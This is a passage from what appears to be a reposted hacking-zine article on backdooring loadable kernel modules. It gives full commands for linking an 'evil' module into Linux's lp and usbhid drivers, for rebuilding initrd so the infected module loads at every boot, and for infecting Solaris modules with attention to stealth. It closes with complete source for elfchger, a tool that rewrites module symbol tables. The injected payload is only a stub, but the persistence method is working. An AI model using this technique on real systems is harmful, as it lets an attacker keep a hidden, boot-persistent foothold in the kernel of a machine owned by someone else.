i686 i686 i386 GNU/Linux
Let's begin by checking which modules to infect by using the lsmod command:
$ lsmod
Module Size Used by
serio_raw 4022 0
lp 7342 0
snd_seq_midi 4588 0
usbhid 36882 0
binfmt_misc 6599 1
agpgart 32011 1 drm
snd_intel8x0 25632 2
...
libahci 21667 3 ahci
The command output shows that some of the modules are not used by any
other module. These modules can be unloaded safely and then they can be
infected with our backdoor using the method presented above. This chapter
is divided into two sections in which I'll describe two techniques to load
the module when the operating system is booted:
1 - Infect a kernel module (or simply add a new one) on
/etc/modprobe.preload (Fedora, etc.) or in /etc/modules on
Debian/Ubuntu.
2 - Backdoor initrd.
---[ 5.1 - Infecting a kernel module in /etc/modules
First of all, we have to know which modules are in the /etc/modules file:
$ cat /etc/modules
# /etc/modules: kernel modules to load at boot time.
...
lp
As described in the previous section, this module (lp.ko) can be unloaded
safely and then infected with our backdoor.
$ find / -name lp.ko
...
/lib/modules/3.0.0-15-generic/kernel/drivers/char/lp.ko
...
$ cd /lib/modules/3.0.0-15-generic/kernel/drivers/char
Next, we check which function is called by the init_module:
$ objdump -t lp.ko |grep -e ".init.text"
00000000 l F .init.text 00000175 lp_init
00000175 l F .init.text 000000ae lp_init_module
00000000 l d .init.text 00000000 .init.text
00000175 g F .init.text 000000ae init_module
We want to infect the lp_init_module() function, so the evil module will
be coded in the following way:
/****************** evil.c ***********************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
extern int __init lp_init_module();
int __init evil(void) {
printk(KERN_ALERT "Init Inject! Lp");
lp_init_module();
/* does something */
return 0;
}
/****************** EOF **************************************************/
Since the lp_init_module function is static we need to change its binding
type to global.
$ ./elfchger -g lp_init_module lp.ko
[+] Opening lp.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x28a0
[+] Finding ".strtab" section...
>> Found at 0x28c8
[+] Getting symbol' infos:
>> Symbol found at 0x2b30
>> Index in symbol table: 0x24
[+] Reordering symbols:
>> Starting:
>> Moving symbol from 25 to 24
>> Moving symbol from 26 to 25
>> Moving symbol from 27 to 26
>> Moving symbol from 28 to 27
>> Moving symbol from 29 to 28
>> Moving symbol from 2a to 29
>> Moving symbol from 2b to 2a
>> Moving symbol from 2c to 2b
>> Moving symbol from 2d to 2c
>> Moving symbol from 2e to 2d
>> Moving symbol from 2f to 2e
>> Moving symbol from 30 to 2f
>> Moving symbol from 31 to 30
>> Moving symbol from 32 to 31
>> Moving symbol from 33 to 32
>> Moving symbol from 34 to 33
>> Moving symbol from 35 to 34
>> Moving symbol from 36 to 35
>> Moving symbol from 37 to 36
>> Moving symbol from 38 to 37
>> Moving symbol from 39 to 38
>> Moving symbol from 3a to 39
>> Moving symbol from 3b to 3a
>> Moving symbol from 3c to 3b
>> Moving symbol from 3d to 3c
>> Moving our symbol from 36 to 3d
>> Last LOCAL symbol: 0x3d
>> Done!
[+] Updating symbol' infos:
>> Symbol found at 0x2cc0
>> Index in symbol table: 0x3d
>> Replacing flag 'LOCAL' located at 0x2ccc with 'GLOBAL'
[+] Updating symtab infos at 0x28a0
The two modules can be now linked together:
$ ld -r lp.ko evil.ko -o new.ko
$ objdump -t new.ko |grep -e init_module -e evil
00000000 l df *ABS* 00000000 evil.c
00000000 l df *ABS* 00000000 evil.mod.c
00000223 g F .init.text 00000019 evil
00000175 g F .init.text 000000ae lp_init_module
00000175 g F .init.text 000000ae init_module
Now the relative address of init_module has to be changed to 0000021a:
$ ./elfchger -s init_module -v 00000223 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x2a34
[+] Finding ".strtab" section...
>> Found at 0x2a5c
[+] Getting symbol' infos:
>> Symbol found at 0x39a4
>> Index in symbol table: 0x52
[+] Replacing 0x00000175 with 0x00000223... done!
The new.ko module must be renamed to lp.ko and then loaded:
$ mv new.ko lp.ko
$ sudo rmmod lp
$ sudo insmod lp.ko
$ dmesg|tail
...
$ dmesg
....
[ 1033.418723] Init Inject! Lp
[ 1033.431131] lp0: using parport0 (interrupt-driven).
From now on, every time the system is booted, the infected lp kernel
module will be loaded instead of the original one.
---[ 5.2 - Backdooring initrd
It is also possible to backdoor a module in the initrd image. The target
module has to be extracted out of the image, backdoored and then reinserted
back. The target module used throughout this example will be usbhid.ko.
In order to inject a kernel module into the initrd image, we'll follow the
guide in [9], which explains how to add a new module inside the initrd
image. According to [9], the initrd image can be copied from /boot to a
target directory (e.g. /tmp) so we can easily work on it:
$ cp /boot/initrd.img-2.6.35-22-generic /tmp/
$ cd /tmp
The image can be now decompressed using the gzip tool:
$ mv initrd.img-2.6.35-22-generic initrd.img-2.6.35-22-generic.gz
$ gzip -d initrd.img-2.6.35-22-generic.gz
$ mkdir initrd
$ cd initrd/
$ cpio -i -d -H newc -F ../initrd.img-2.6.35-22-generic \
--no-absolute-filenames
50522 blocks
The location of the usbhid.ko module has then to be found inside the kernel
tree:
$ find ./ -name usbhid
./lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid
$ cd lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid
At this point it can be easily infected with our evil module:
$ objdump -t usbhid.ko |grep -e ".init.text"
00000000 l F .init.text 000000c3 hid_init
00000000 l d .init.text 00000000 .init.text
00000000 g F .init.text 000000c3 init_module
000000c3 g F .init.text 00000019 hiddev_init
Since we want to infect the hid_init() function, the evil module will be
coded in the following way:
/****************** evil.c ***********************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
extern int __init hid_init();
int __init evil(void) {
hid_init();
printk(KERN_ALERT "Init Inject! Usbhid");
/* does something */
return 0;
}
/****************** EOF **************************************************/
$ ./elfchger -g hid_init usbhid.ko
[+] Opening usbhid.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0xa24c
[+] Finding ".strtab" section...
>> Found at 0xa274
[+] Getting symbol' infos:
>> Symbol found at 0xa4dc
>> Index in symbol table: 0x24
[+] Reordering symbols:
>> Starting:
>> Moving symbol from 25 to 24
...
>> Moving symbol from a6 to a5
>> Moving our symbol from 36 to a6
>> Last LOCAL symbol: 0xa6
>> Done!
[+] Updating symbol' infos:
>> Symbol found at 0xacfc
>> Index in symbol table: 0xa6
>> Replacing flag 'LOCAL' located at 0xad08 with 'GLOBAL'
[+] Updating symtab infos at 0xa24c
$ ld -r usbhid.ko evil.ko -o new.ko
$ objdump -t new.ko | grep -e init_module -e evil
00000000 l df *ABS* 00000000 evil.c
00000000 l df *ABS* 00000000 evil.mod.c
000000dc g F .init.text 0000001b evil
00000000 g F .init.text 000000c3 init_module
$ ./elf -s init_module -v 000000dc new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0xa424
[+] Finding ".strtab" section...
>> Found at 0xa44c
[+] Getting symbol' infos:
>> Symbol found at 0xd2dc
>> Index in symbol table: 0xd5
[+] Replacing 0x00000000 with 0x000000dc... done!
$ mv new.ko usbhid.ko
Once the target module has been infected with the evil one, we must
recreate the initrd image:
$ cd /tmp/initrd/
$ find . | cpio -o -H newc | gzip > /tmp/initrd.img-2.6.35-22-generic
50522 blocks
$ cp ../initrd.img-2.6.35-22-generic /boot/
From now on, every time the system is booted, the infected usbhid kernel
module will be loaded instead of the original one.
---[ 6 - What about other systems?
In this last chapter we will see how the presented infection method can
applied to other operating systems, specifically Solaris, FreeBSD, NetBSD
and OpenBSD. It will be shown that, even if the method is different from
that used on Linux, infection is still possible.
---[ 6.1 - Solaris
On Solaris systems infecting a kernel module is simpler than on Linux ones.
Changing the symbol's name in the .strtab ELF section is sufficient,
similarly to truff's original method for the Linux kernel 2.4.* versions.
The method has been tested on Solaris 10:
# uname -a
SunOS unknown 5.10 Generic_142910-17 i86pc i386 i86pc
---[ 6.1.1 - A basic example
The orig.c and evil.c source codes are as follows:
/******************************** orig.c *********************************/
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>
extern struct mod_ops mod_miscops;
static struct modlmisc modlmisc =
{
&mod_miscops,
"original",
};
static struct modlinkage modlinkage =
{
MODREV_1,
(void *) &modlmisc,
NULL
};
int _init(void) {
int i;
if ((i = mod_install(&modlinkage)) != 0)
cmn_err(CE_NOTE, "Can't load module!\n");
else
cmn_err(CE_NOTE, "Init Original!");
return i;
}
int _info(struct modinfo *modinfop) {
return (mod_info(&modlinkage, modinfop));
}
int _fini(void) {
int i;
if ((i = mod_remove(&modlinkage)) != 0)
cmn_err(CE_NOTE, "Can't remove module!\n");
else
cmn_err(CE_NOTE, "Exit Original!");
return i;
}
/******************************** EOF ************************************/
/******************************** evil.c *********************************/
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>
extern int _evil(void);
int _init(void) {
cmn_err(CE_NOTE, "Inject!");
_evil();
return 0;
}
/******************************** EOF ************************************/
The _init function is called at module initialisation, while the _fini one
is called at module cleanup. The _info function prints information about
the module when the "modinfo" command is invoked. The two modules can be
compiled using the following commands:
# /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c orig.c
# /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c evil.c
Let's have a look at the orig.o ELF file by using the "elfdump" command:
# /usr/ccs/bin/elfdump -s orig.o
Symbol Table Section: .symtab
index value size type bind oth ver shndx name
[0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF
[1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c
[2] 0x00000000 0x00000000 SECT LOCL D 0 .text
...
[16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops
[17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _init
[18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install
[19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err
[20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info
[21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info
[22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini
[23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove
The _evil() function must be called instead of _init when the module is
loaded. To achieve this, the following steps have to be performed:
- Change the _init symbol name to _evil in orig.o;
- Link the two modules together;
This way, the kernel will load the _init() function defined in evil.c which
in turn will call the _evil() function (the old _init()) in order to
maintain the correct behaviour of the orig module. It is possible to change
a symbol name using the 'objcopy' tool. In fact the '--redefine-sym' option
can be used to give an arbitrary name to the specified symbol:
# /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil orig.o
# /usr/ccs/bin/elfdump -s orig.o
Symbol Table Section: .symtab
index value size type bind oth ver shndx name
[0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF
[1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c
[2] 0x00000000 0x00000000 SECT LOCL D 0 .text
...
[16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops
[17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil
[18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install
[19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err
[20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info
[21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info
[22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini
[23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove
By checking with "elfdump" it is possible to verify if the script properly
performed its job:
# /usr/ccs/bin/elfdump -s orig.o
Symbol Table Section: .symtab
index value size type bind oth ver shndx name
[0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF
[1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c
[2] 0x00000000 0x00000000 SECT LOCL D 0 .text
...
[16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops
[17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil
[18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install
[19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err
[20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info
[21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info
[22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini
[23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove
The _init symbol name has been modified to _evil. The modules are then
linked together using the "ld" command:
# ld -r orig.o evil.o -o new.o
The new.o elf file dump follows:
# /usr/ccs/bin/elfdump -s new.o
Symbol Table Section: .symtab
index value size type bind oth ver shndx name
[0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF
[1] 0x00000000 0x00000000 FILE LOCL D 0 ABS new.o
[2] 0x00000000 0x00000000 SECT LOCL D 0 .text
...
[27] 0x00000000 0x00000000 FILE LOCL D 0 ABS evil.c
[28] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install
[29] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil
[30] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini
[31] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info
[32] 0x000000b8 0x0000001e FUNC GLOB D 0 .text _init
[33] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops
[34] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info
[35] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove
[36] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err
To summarize, the _init symbol is referring to the function defined in
evil.c, while the _evil symbol is referring to the old _init defined in
orig.c that we have just renamed to _evil.
Now, the last step is to rename the new.o into orig.o and to load it:
# mv new.o orig.o
# modload orig.o
# tail /var/adm/messages
...
May ... orig.o: [ID 343233 kern.notice] NOTICE: Inject!
May ... orig.o: [ID 662037 kern.notice] NOTICE: Init Original!
As you can see the module is successfully infected.
# modinfo | grep orig.o
247 fa9e6eac 160 - 1 orig.o (original)
# modunload -i 247
---[ 6.1.2 - Playing with OS modules
This section will explain how to infect a system kernel module. The method
remains the same but it will be necessary to make minor changes to the evil
module in order to correctly load it to memory. The evil module will be
injected into the audio driver. First of all, the module has to be
unloaded:
# modinfo | grep lx_audio
216 f99e40e0 2614 242 1 lx_audio (linux audio driver 'lx_audio' 1)
# modunload -i 216
Now, it is possible to play with it:
# /usr/ccs/bin/elfdump -s lx_audio|grep _init
[64] 0x000020c2 0x00000011 FUNC GLOB D 0 .text _init
[118] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF mutex_init
# /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil lx_audio
# ld -r evil.o lx_audio -o new
# /usr/ccs/bin/elfdump -s new|grep _evil
[77] 0x000020de 0x00000011 FUNC GLOB D 0 .text _evil
# mv new lx_audio
# modload lx_audio
# tail /var/adm/messages
...
Dec 29 17:00:19 spaccio lx_audio: ... NOTICE: Inject!
Great, it works!
---[ 6.1.3 - Keeping it stealthy
According to the /etc/system file, the kernel modules that are loaded at
boot time are located in the /kernel and /usr/kernel directories. The
platform-dependent modules reside in the /platform directory. In this
example I'll infect the usb kernel module: usba.
First of all the kernel module's position in the filesystem must be
located:
# find /kernel -name usba
/kernel/misc/amd64/usba
/kernel/misc/usba
/kernel/kmdb/amd64/usba
/kernel/kmdb/usba
# cd /kernel/misc/usba
# /usr/ccs/bin/elfdump -s usba|grep _init
...
[291] 0x00017354 0x0000004c FUNC LOCL D 0 .text ugen_ds_init
[307] 0x00017937 0x000000e3 FUNC LOCL D 0 .text ugen_pm_init
[347] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _init
....
[655] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF rw_init
[692] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF cv_init
Now it is possible to change the _init symbol name to _evil.
# /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil usba
# /usr/ccs/bin/elfdump -s usba|grep _evil
[348] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _evil
# ld -r evil.o usba -o new
Now we have only to rename the module to its original name:
# mv new usba
From now on, every time the system is booted, the infected usba kernel
module will be loaded instead of the original one.
---[ 6.2 - *BSD
---[ 6.2.1 - FreeBSD - NetBSD - OpenBSD
The conclusions made by truff are still valid in the newest versions of
these operating systems. On FreeBSD, kernel modules are shared objects, so
the proposed method doesn't work because the kernel modules can't be
partially linked. On NetBSD and OpenBSD what we have to do is simply to
change the entry point of the kernel module when it is loaded. So our
function will be invoked instead the original one.
---[ 7 - Conclusions
In this paper a new module injection method was introduced to be used with
Linux kernel 2.6.x/3.0.x series. Several methods, from simple to more
sophisticated were presented to inject external code into kernel modules.
It was also explained how the method (with some changes) can be
successfully applied to a wide range of operating systems. I hope you'll
have fun with it and that you enjoyed this paper!
Bye.
---[ 8 - References
[1] Infecting loadable kernel modules
http://www.phrack.com/issues.html?issue=...10#article
[2] EXECUTABLE AND LINKABLE FORMAT (ELF)
http://www.muppetlabs.com/~breadbox/software/ELF.txt
[3] Init Call Mechanism in the Linux Kernel
http://linuxgazette.net/157/amurray.html
[4] Understanding the Linux Kernel, 3rd Edition
[5] Init Call Mechanism in the Linux Kernel
http://linuxgazette.net/157/amurray.html
[6] OpenBSD Loadable Kernel Modules
http://www.thc.org/root/docs/loadable_ke...d-lkm.html
[7] Introduction to NetBSD loadable kernel modules
http://www.home.unix-ag.org/bmeurer/NetB...o-lkm.html
[8] Solaris Loadable Kernel Modules
http://www.thc.org/papers/slkm-1.0.html
[9] Initrd, modules, and tools
http://www.dark.ca/2009/06/10/initrd-modules-and-tools/
---[ 9 - Codes
---[ 9.1 - Elfchger
/*
* elfchger.c by styx^ <the.styx@gmail.com> (based on truff's code)
*
* Script with two features:
*
* Usage 1: Change the symbol name value (address) in a kernel module.
* Usage 2: Change the symbol binding (from local to global) in a kernel
* module.
*
* Usage:
* 1: ./elfchger -f [symbol] -v [value] <module_name>
* 2: ./elfchger -g [symbol] <module_name>
*/
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#include <string.h>
#include <getopt.h>
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr);
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len);
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len);
unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name);
int ReoderRelocation(FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr);
void usage(char *cmd);
int main (int argc, char **argv) {
FILE *fd;
Elf32_Ehdr hdr;
Elf32_Shdr symtab, strtab;
Elf32_Sym sym;
Elf32_Off symoffset;
Elf32_Addr value;
unsigned long new_index = 0;
int gflag = 0, vflag = 0, fflag = 0;
char *sym_name;
int sym_value = 0;
long sym_off, str_off;
int opt;
if ( argc != 4 && argc != 6 ) {
usage(argv[0]);
exit(-1);
}
while ((opt = getopt(argc, argv, "vsg")) != -1) {
switch (opt) {
case 'g':
if( argc-1 < optind) {
printf("[-] You must specify symbol name!\n");
usage(argv[0]);
exit(-1);
}
gflag = 1;
sym_name = argv[optind];
break;
case 's':
if( argc-1 < optind) {
printf("[-] You must specify symbol name!\n");
usage(argv[0]);
exit(-1);
}
fflag = 1;
sym_name = argv[optind];
break;
case 'v':
if( argc-1 < optind) {
printf("[-] You must specify new symbol address\n");
usage(argv[0]);
exit(-1);
}
vflag = 1;
sym_value = strtol(argv[optind], (char **) NULL, 16);
break;
default:
usage(argv[0]);
exit(-1);
}
}
printf("[+] Opening %s file...\n", argv[argc-1]);
fd = fopen (argv[argc-1], "r+");
if (fd == NULL) {
printf("[-] File \"%s\" not found!\n", argv[1]);
exit(-1);
}
printf("[+] Reading Elf header...\n");
if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) {
printf("[-] Elf header corrupted!\n");
exit(-1);
}
printf("\t>> Done!\n");
printf("[+] Finding \".symtab\" section...\n");
sym_off = ElfGetSectionByName (fd, &hdr, ".symtab", &symtab);
if (sym_off == -1) {
printf("[-] Can't get .symtab section\n");
exit(-1);
}
printf("\t>> Found at 0x%x\n", (int )sym_off);
printf("[+] Finding \".strtab\" section...\n");
str_off = ElfGetSectionByName (fd, &hdr, ".strtab", &strtab);
if (str_off == -1) {
printf("[-] Can't get .strtab section!\n");
exit(-1);
}
printf("\t>> Found at 0x%x\n", (int )str_off);
printf("[+] Getting symbol' infos:\n");
symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, sym_name, &sym);
if ( (int) symoffset == -1) {
printf("[-] Symbol \"%s\" not found!\n", sym_name);
exit(-1);
}
if ( gflag == 1 ) {
if ( ELF32_ST_BIND(sym.st_info) == STB_LOCAL ) {
unsigned char global;
unsigned long offset = 0;
printf("[+] Reordering symbols:\n");
new_index = ReorderSymbols(fd, &symtab, &strtab, sym_name);
printf("[+] Updating symbol' infos:\n");
symoffset = ElfGetSymbolByName(fd, &symtab, &strtab, sym_name, &sym);
if ( (int) symoffset == -1) {
printf("[-] Symbol \"%s\" not found!\n", sym_name);
exit(-1);
}
offset = symoffset+1+sizeof(Elf32_Addr)+1+sizeof(Elf32_Word)+2;
printf("\t>> Replacing flag 'LOCAL' located at 0x%x with 'GLOBAL'\
\n", (unsigned int)offset);
if (fseek (fd, offset, SEEK_SET) == -1) {
perror("[-] fseek: ");
exit(-1);
}
global = ELF32_ST_INFO(STB_GLOBAL, STT_FUNC);
if (fwrite (&global, sizeof(unsigned char), 1, fd) < 1) {
perror("[-] fwrite: ");
exit(-1);
}
printf("[+] Updating symtab infos at 0x%x\n", (int )sym_off);
if ( fseek(fd, sym_off, SEEK_SET) == -1 ) {
perror("[-] fseek: ");
exit(-1);
}
symtab.sh_info = new_index; // updating sh_info with the new index
// in symbol table.
if( fwrite(&symtab, sizeof(Elf32_Shdr), 1, fd) < 1 ) {
perror("[-] fwrite: ");
exit(-1);
}
} else {
printf("[-] Already global function!\n");
}
} else if ( fflag == 1 && vflag == 1 ) {
memset(&value, 0, sizeof(Elf32_Addr));
memcpy(&value, &sym_value, sizeof(Elf32_Addr));
printf("[+] Replacing 0x%.8x with 0x%.8x... ", sym.st_value, value);
if (fseek (fd, symoffset+sizeof(Elf32_Word), SEEK_SET) == -1) {
perror("[-] fseek: ");
exit(-1);
}
if (fwrite (&value, sizeof(Elf32_Addr), 1, fd) < 1 ) {
perror("[-] fwrite: ");
exit(-1);
}
printf("done!\n");
fclose (fd);
}
return 0;
}
/* This function returns the offset relative to the symbol name "name" */
Elf32_Off ElfGetSymbolByName(FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) {
unsigned int i;
char symname[255];
for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) {
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) {
perror("\t[-] read: ");
exit(-1);
}
memset (symname, 0, sizeof (symname));
ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname));
if (!strcmp (symname, name)) {
printf("\t>> Symbol found at 0x%x\n",
symtab->sh_offset + (i * symtab->sh_entsize));
printf("\t>> Index in symbol table: 0x%x\n", i);
return symtab->sh_offset + (i * symtab->sh_entsize);
}
}
return -1;
}
/* This function returns the new index of symbol "name" inside the symbol
* table after re-ordering. */
unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name) {
unsigned int i = 0, j = 0;
char symname[255];
Elf32_Sym *all;
Elf32_Sym temp;
unsigned long new_index = 0;
unsigned long my_off = 0;
printf("\t>> Starting:\n");
all = (Elf32_Sym *) malloc(sizeof(Elf32_Sym) *
(symtab->sh_size/symtab->sh_entsize));
if ( all == NULL ) {
return -1;
}
memset(all, 0, symtab->sh_size/symtab->sh_entsize);
my_off = symtab->sh_offset;
for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) {
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (&all[i], sizeof (Elf32_Sym), 1, fd) < 1) {
printf("\t[-] fread: ");
exit(-1);
}
memset (symname, 0, sizeof (symname));
ElfGetSymbolName(fd, all[i].st_name, strtab, symname, sizeof(symname));
if (!strcmp (symname, name)) {
j = i;
continue;
}
}
temp = all[j];
for ( i = j; i < (symtab->sh_size/symtab->sh_entsize); i++ ) {
if ( i+1 >= symtab->sh_size/symtab->sh_entsize )
break;
if ( ELF32_ST_BIND(all[i+1].st_info) == STB_LOCAL ) {
printf("\t>> Moving symbol from %x to %x\n", i+1, i);
all[i] = all[i+1];
} else {
new_index = i;
printf("\t>> Moving our symbol from %d to %x\n", j, i);
all[i] = temp;
break;
}
}
printf("\t>> Last LOCAL symbol: 0x%x\n", (unsigned int)new_index);
if ( fseek (fd, my_off, SEEK_SET) == -1 ) {
perror("\t[-] fseek: ");
exit(-1);
}
if ( fwrite(all, sizeof( Elf32_Sym), symtab->sh_size/symtab->sh_entsize,
fd) < (symtab->sh_size/symtab->sh_entsize )) {
perror("\t[-] fwrite: ");
exit(-1);
}
printf("\t>> Done!\n");
free(all);
return new_index;
}
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr) {
if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {
printf("\t[-] Sections header corrupted");
exit(-1);
}
return 0;
}
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr) {
int i;
char name[255];
Elf32_Shdr shstrtable;
ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
memset (name, 0, sizeof (name));
for ( i = 0; i < ehdr->e_shnum; i++) {
if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {
printf("[-] Sections header corrupted");
exit(-1);
}
ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
name, sizeof (name));
if (!strcmp (name, section)) {
return ehdr->e_shoff + (i * ehdr->e_shentsize);
}
}
return -1;
}
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len) {
size_t i = 0;
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
while ( (i < len-1) || *res != '\0' ) {
*res = fgetc (fd);
i++;
res++;
}
return 0;
}
void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
while ((i < len-1) || *res != '\0') {
*res = fgetc (fd);
i++;
res++;
}
return;
}
void usage(char *cmd) {
printf("Usage: %s <option(s)> <module_name>\n", cmd);
printf("Option(s):\n");
printf(" -g [symbol]\tSymbol we want to change the binding as global\n");
printf("Or:\n");
printf(" -s [symbol]\tSymbol we want to change the value (address)\n");
printf(" -v [value] \tNew value (address) for symbol\n");
return;
}
---[ 9.2 - elfstrchange.patch
@@ -9,6 +9,7 @@
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
+#include <string.h>
#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }
@@ -160,7 +161,7 @@
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
FATAL ("fseek");
- while ((i < len) || *res == '\0')
+ while ((i < len-1) || *res != '\0')
{
*res = fgetc (fd);
i++;
@@ -179,7 +180,7 @@
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
FATAL ("fseek");
- while ((i < len) || *res == '\0')
+ while ((i < len-1) || *res != '\0')
{
*res = fgetc (fd);
i++;
---[ EOF
Part 1: http://www.anarchyforums.net/Thread-Infe...tyx-Part-1
Credits to styx^ and phrack
Wavy baby